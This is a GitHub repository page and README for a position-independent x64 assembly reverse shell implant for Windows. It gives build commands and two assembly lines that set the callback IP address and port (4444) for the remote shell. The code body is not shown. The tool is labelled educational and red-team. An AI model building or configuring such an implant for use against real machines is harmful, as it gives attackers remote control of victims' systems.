https://github.com/ten-ops/pic-implant
64-bit PIC reverse shell implant written in x64 NASM assembly for educational use only.
https://github.com/ten-ops/pic-implant
offsec red-team shellcode windows
Last synced: 3 months ago
JSON representation
64-bit PIC reverse shell implant written in x64 NASM assembly for educational use only.
- Host: GitHub
- URL: https://github.com/ten-ops/pic-implant
- Owner: ten-ops
- License: apache-2.0
- Created: 2025-02-07T22:26:08.000Z (4 months ago)
- Default Branch: main
- Last Pushed: 2025-02-07T22:33:16.000Z (4 months ago)
- Last Synced: 2025-02-07T23:24:46.240Z (4 months ago)
- Topics: offsec, red-team, shellcode, windows
- Language: Assembly
- Homepage:
- Size: 0 Bytes
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
A **position-independent** reverse shell shellcode i put together for x64 systems. It works (tested on Windows 10), it's definitely a rough draft but expect cleaner code/docs soon.
---## How to Build
**You’ll need:**
- A windows pc
- NASM installed
---### Makefile Commands:
- `make all`: Compiles the source into a binary shellcode (`main.bin`).
- `make clean`: Deletes the compiled binary.### Manual Build:
If you don’t want to use `make`, just do this:
```bash
nasm -f bin -g -O0 -o C:\Users\win10\Desktop\pic_implant\bin\main.bin src\main.asm
```**Steps:**
1. **Edit `src/main.asm`**
Find these lines and replace with your IP/port:
```asm
db "192.168.8.128", 0
mov word [rsp+2], 0x5C11 ; ← 4444 (change this too)
```